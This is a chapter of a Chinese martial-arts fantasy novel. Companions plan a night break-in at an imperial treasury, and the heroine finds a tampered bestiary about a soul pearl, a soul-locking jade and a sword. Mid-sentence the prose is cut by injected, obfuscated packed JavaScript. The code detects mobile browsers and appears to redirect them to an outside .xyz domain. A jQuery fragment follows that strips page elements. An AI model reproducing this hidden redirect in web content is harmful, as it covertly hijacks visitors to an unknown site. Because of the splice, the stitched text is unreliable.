是日未时,知味小馆,一方雅致天地。
阳光斜斜地穿过木窗,在地面上投下细碎的光斑,像撒了把碎金。檐角的铜铃偶尔被风拂动,发出一两声清越的叮当,随即又被馆内的静谧吞没。靠墙的八仙桌旁,几张藤椅歪歪斜斜地放着,混着木头与阳光晒出的暖香。
“要不是他中途走过来,我和啊樾一直以为他俩相亲呢。”
莫寻渊躺坐在原木椅子上,双脚伸直搭在桌面,沈卿樾连忙摆手,催促他:“你的脚,快放下!”
郑苗鸯问他们:“你们怎么碰上的?这么巧。”
“之前听说啊颜被跟踪,就跟着看看,也没想到一下子撞见了。”
沈卿樾给他们沏了壶茶,又听到郑苗鸯问:“关懿单纯只是衙门的人?”
“不清楚。”莫寻渊说:“他自己盗不了朝廷的东西,让人代劳,这事没这么简单。”
杨冽颜擦拭着碎雪剑,说:“关懿脑子还算灵活,措辞张嘴就来。”
莫寻渊笑笑,“我看那是谎话连篇吧?他也是太年轻了,说谎得打打草稿,没经验。”
沈卿樾问:“残云阁盗古籍一事闹得沸沸扬扬,外人再次闯入,难度应该更大,不是好差事吧?”
“好差事自然也轮不到代劳呀!”莫寻渊转念道:“不过也有一点好处。”
郑苗鸯整理着一盒子的香料,问他:“能有什么好处?”
“他们首先怀疑的,还是残云阁的人,不会到我们头上。”
沈卿樾问:“啊颜不就是残云阁的人?”
“她逃出来了,更何况,残云阁的标志——噬心蛊也痊愈了,先不算。”莫寻渊拍拍他肩膀,“江湖之事,你也感兴趣了?”
沈卿樾没吭声,杨冽颜道:“这几日我没回去过,他们也没找到我。”
“郑苗鸯对你的改造,还算成功。”
郑苗鸯指了指面前的“宝贝”,“每天加点隐香粉,他们找不到的。”
沈卿樾试探着问:“那差事有危险,不答应吧?”
莫寻渊仔细思量起来,“危险是危险,可不危险又怎能获取消息,是吧?”说着他把目光投去杨冽颜。
杨冽颜对上他的视线,不作声表示默认。
“我不同意。”郑苗鸯反对道:“啊颜去那不是羊入虎口?他既然用木鸟能把她找出来,难保他人也用其他法子识出身份。”
莫寻渊不着急反驳,缓缓道:“近日传出,疑似残云阁的人洗劫了附近一带的铁器行,只为找一样武器。”
郑苗鸯把香粉装进香囊中,“找什么武器?”
“不知道。”
“斧、锤、弓箭、长剑、断刃……”众多武器,仿佛大海捞针,杨冽颜轻轻摇头,“太多了。”
郑苗鸯开玩笑道:“不会是找我这九节鞭吧?你的月牙刃?还是知味的厨刀?”
莫寻渊露出少有的正经表情,继续分析道:“这把武器大概也和应魂珠一样,藏有秘密,你们说,那些古籍里有没有关于武器的记载呢?”
“如果武器也算灵物的话,可能有。”
思绪如同瓜蔓一样爬开来,模糊又纷繁,杨冽颜大胆揣测,提出疑问:“关懿身为捕快,自然是知道铁器行的事,他却只提应魂珠,对武器的事只字不提。”
沈卿樾思绪跟上,说:“难道他早就知道那武器是什么,然后他只需要知道应魂珠的下落?”
“不错嘛啊樾!”莫寻渊投去赞许的目光,拍了拍他肩膀。
郑苗鸯先是点头赞许,后又说:“不过也有可能,武器并不是灵物,他认为不需要去翻古籍。”
杨冽颜道:“嗯,现在皆是揣测,等我进去一探究竟。”
沈卿樾一听,喉结猛地滚了滚,话到舌尖,吐不出也咽不下,直到郑苗鸯道出了他的心声:“你不要去,危险。”
“要不我去。”莫寻渊唇角勾起一个锐利的弧度,“偷鸡摸狗的事,我在行。”
沈卿樾想到一点,说:“过两日有重大庆典,宫内设宴,宫外人员进出频繁,到时候等到防卫松动,你们可以伺机进去。”
车轮碾过青石板路的声响渐渐沉下,最后停在官道尽头的银杏下。
马车在林边扬起阵阵尘土,莫寻渊甩了甩马鞭,车帘被一只骨节分明的手掀开,杨冽颜从一辆乌篷车上跃下,玄色披风扫过车辕,带起一阵风。
待看清马车夫的面容,关懿略带讶异,问道:“他怎么也来了?”
莫寻渊咧嘴道:“来看看你呀!”
关懿没心思和他开玩笑,“这不是闹着玩的。”
“我看着像玩吗?”
关懿直奔主题,对杨冽颜说:“前几日暴毙的官员,主负责修订《灵物图鉴》,其依照古籍的记载重新筛选,只排版记录所有关于灵物的内容。”关懿眼神定定地说:“找出图鉴和古籍记载的不同之处,相当于找到他们篡改图鉴的目的,从而挖掘他们企图隐藏的秘密。”
杨冽颜心思依旧缜密,“你能想到的法子,朝廷会想不出来?”
“你有所不知,古籍当时被夺走,朝廷日日夜夜、家家户户盘查,除了清剿残云阁余党,更重要的还有寻回古籍。”
世人都只看到朝廷与残云阁交恶,实则是打着扫荡的名义,夺回古籍。看来残云阁已不再仅有“神秘组织”这个代称了。
莫寻渊“哟”了一声,“坐地‘起价’呢,要拿两样东西?”
“酬劳翻倍,你可以不去。”关懿说:“据最新情报,古籍被神秘组织夺走并藏于古柏葱郁、云烟缥缈的半山腰上。”
杨冽颜睫毛扑闪,残云阁的其中一个分坛便设在摄山的半山腰上,还有一家不知名的小寺庙。
关懿问她:“你知道那是哪里吗?”
杨冽颜不作声,莫寻渊问:“那来这里,是准备先拿官员正在修订的图鉴?”
关懿继续道:“图鉴藏于朝廷的珍宝库中,那里虽戒备森严,但我可以稍稍助你一臂之力。”
莫寻渊直接站在关懿跟前,说:“错了,是我去,不是她去。”
“事关重大,我希望能找个更有把握的人。”
“看不起我?”
“这差事只能让她去。”
“为什么?”
“没有为什么。”
两人僵在原地,默不作声,杨冽颜打破沉默:“他和我一起进去。”
风卷着落叶掠过三人脚边,远处的树林在暮色里显出浓淡不一的墨色,枝桠交错如网。杨冽颜抬头望了眼渐沉的天色,声音被风带得有些轻:“出发吧。”
马车被留在原地,关懿赶着牲口隐入岔路,只余下车轮印在泥土里,很快便要被吹来的浮尘盖住。
夜色漫过宫墙的飞檐,两人又一次变换伪装,伏在珍宝库外,檐角的走兽在月光下泛着冷光。远处的太和殿前忽然炸开一串烟花,金红碎屑落进御花园的荷塘,映得水面亮如碎镜——原是宫里正摆夜宴,丝竹声混着宾客的笑谈,顺着风飘到库顶,倒让周遭的守卫多了几分松懈。
珍宝库的轮廓在夜色里愈发清晰:整座建筑依山而建,朱红宫墙足有三人高,墙头密布着鎏金铜铃,稍有触碰便会作响。对于杨冽颜来说,掠过那墙头,都是小菜一碟。
杨冽颜分析道:“宴席上的歌舞趋近高潮,禁军会去前殿维持秩序,东南角的巡逻会空出半刻钟。”
可是该怎么进去呢?
莫寻渊从怀中摸出块半旧的腰牌,递给杨冽颜,“给你,我去引开门口的守卫,你趁机用这个打开西侧的暗门——那是工匠检修时用的通道,钥匙孔藏在‘镇库兽’的左眼下面。”
莫寻渊一套操作下来丝滑自然,杨冽颜怔怔地接过腰牌,问道:“你怎么知道?”,又问:“你这个怎么得来的?”
“刚顺来的,早说了,偷鸡摸狗的事,我特别在行。”
远处的宴乐声忽然拔高,是舞姬转袖时的喝彩,莫寻渊翻身跃下,引得守卫呵斥着追了过去。
“哪来的?站住!”
“来人!抓人呐!”
淹没在烟花声
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16322989|183175||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
、谈笑声中。
杨冽颜趁机猫腰溜至暗门前,将腰牌插入镇兽左眼的凹槽,只听“咔”的轻响,石壁竟缓缓滑开,露出仅容一人通过的窄道。她回头望了眼远处仍在喧闹的宴席,深吸一口气,闪身钻入了那片流光溢彩的宝库之中。
珍宝库的墙内,有数不清的回廊与隔间,月光从高处的气窗漏进去,照亮一排排紫檀木架,架上的玉器、金器、宝石在暗处流转着幽光,竟将偌大的库房照得如同白昼。最深处的穹顶悬着盏硕大的夜明珠,光晕漫过层层叠叠的锦盒、玉雕……连墙角的铜鹤摆件都泛着温润的光泽,足见其恢弘壮阔。
顾不上欣赏奇珍异宝,杨冽颜沉住气,背靠冰冷的紫檀木架,目光扫过每一层架上的物件:银鎏金的熏炉、嵌着绿松石的剑鞘、堆叠的锦盒……相比起这些已得手的旷世珍宝,纸质的图鉴逊色不少,不大可能放在木架上。
难道……
杨冽颜缓缓望向角落,驻足半秒后,朝蒙着灰的木箱走去。木箱上的浮尘分布不均,有的过厚,有的又过薄,与自然积尘略有出入,似是人为浮尘。
她伸手拂去箱盖上的浮尘,却发现箱子上有凹槽处,她忽而想起关懿说过的话:
“图鉴有可能藏于带有机关的地方,具体是什么我不得而知,这个机关匣子是个可以变换造型的秘钥,你带上它说不定有用。”
他还说:“可以的话,找找那把剑,我祖辈曾说,那剑身上有个圆圆的洞。”
这么说来,关懿知道那把剑,还推测它是灵物。
关懿做机关的本事,算是数一数二了。
箱子打开,《灵物图鉴》四个大字赫然出现。
翻到有篡改痕迹的那一页,上面写道——
应魂珠是聚魂养魄之灵物,若炼制长生丹需以纯净生魂为引,用锁魂玉锁住鲜活魂魄,再将其注入应魂珠,方能炼出长生丹。
既然是篡改过的,那便反着推敲。
残云阁篡改《灵物图鉴》时,刻意将应魂珠和锁魂玉伪造成炼制长生丹的核心,伪造灵物间的依存关系,仿佛唯有先用锁魂玉锁住鲜活魂魄,再将其注入应魂珠,才能炼出所谓的“长生丹”。
锁魂玉有何作用呢?这名字听着瘆人,似乎可真的“禁锢魂魄”。一切只是杨冽颜自己的推测,待取得分坛的古籍对照,方知真假。以免打草惊蛇,她准备把图鉴放回箱中,却瞥到一行字:剑身圆洞可嵌入珠子。
“嗯?”
她继续往下读:
剑之映虚,能看穿人心善恶,剑魂觉醒之时,剑身能映照出万物之本相,可破虚妄,护苍生……
原来如此。
难怪残云阁要把它找出来,要是真能映出万物本相……
这剑,对他们不利。
下一页写道:
剑珠合一,双灵共鸣,
天地共情,珠毁剑亡……
读到此处,杨冽颜顿感玄乎,没有继续往下。此行算是有所收获,杨冽颜凭借记忆还原开箱前的浮尘纹路,把机关匣子收好。
锁魂玉……上次残云阁盗取未果,玉应该还在这珍宝库之中。
杨冽颜走进另一个房间,打算寻找那把素未谋面的剑。走过转角处,心口的红痣忽而由温变热,她紧紧捂住胸脯,停下脚步。与以前的灼热不同之处,是灼热后的痛感尤为强烈。
前面的房间,有什么东西?
邪气逼人,杨冽颜呼吸困难,连忙后退两步,心里顷刻有了结论——邪物莫近。想到莫寻渊可能还在与侍卫纠缠,她返回出口,躲开巡逻,尝试与莫寻渊碰面。
与此同时,一枚通体漆黑的玉静静躺在锦盒里,表面泛着妖异的暗光,像是凝固的血在玉石深处流转。玉的背面刻着几行扭曲的符文,它似乎感知到了什么,笔画间仿佛有黑气游走。
玉身雕着繁复的锁链纹,环环相扣,纹路里隐约能看见无数细小的人脸轮廓,双目空洞,似在无声哀嚎:
——被禁锢其中的魂魄,连嘶吼都被永远锁在了玉里,无人可破。